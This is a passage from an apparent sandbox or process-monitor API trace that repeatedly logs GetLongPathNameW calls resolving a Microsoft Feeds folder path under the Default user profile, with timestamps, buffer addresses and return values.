lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.788] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.788] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.789] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.790] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.793] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.794] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.794] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.795] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.796] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.799] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.806] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.806] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.807] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.808] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.811] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.812] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.812] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.813] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.814] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.817] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.817] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.818] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.819] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.819] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.822] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.823] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.824] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.824] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.825] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.828] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.829] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.830] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.830] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.831] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.834] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.835] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.835] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.836] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.837] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.840] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.841] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.841] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.842] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.843] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.846] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.846] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.847] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.848] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.848] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.851] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.852] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.853] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.853] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.854] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.857] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.858] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.858] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.859] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.860] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.863] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.864] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.864] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.865] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.866] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.869] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.870] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.870] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.871] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.872] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.875] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.875] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.876] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.877] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.877] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.880] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.881] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.882] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.882] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.883] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.886] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.887] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.887] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.888] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.889] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.892] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.892] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.893] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.894] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.895] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.898] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.898] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.899] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", 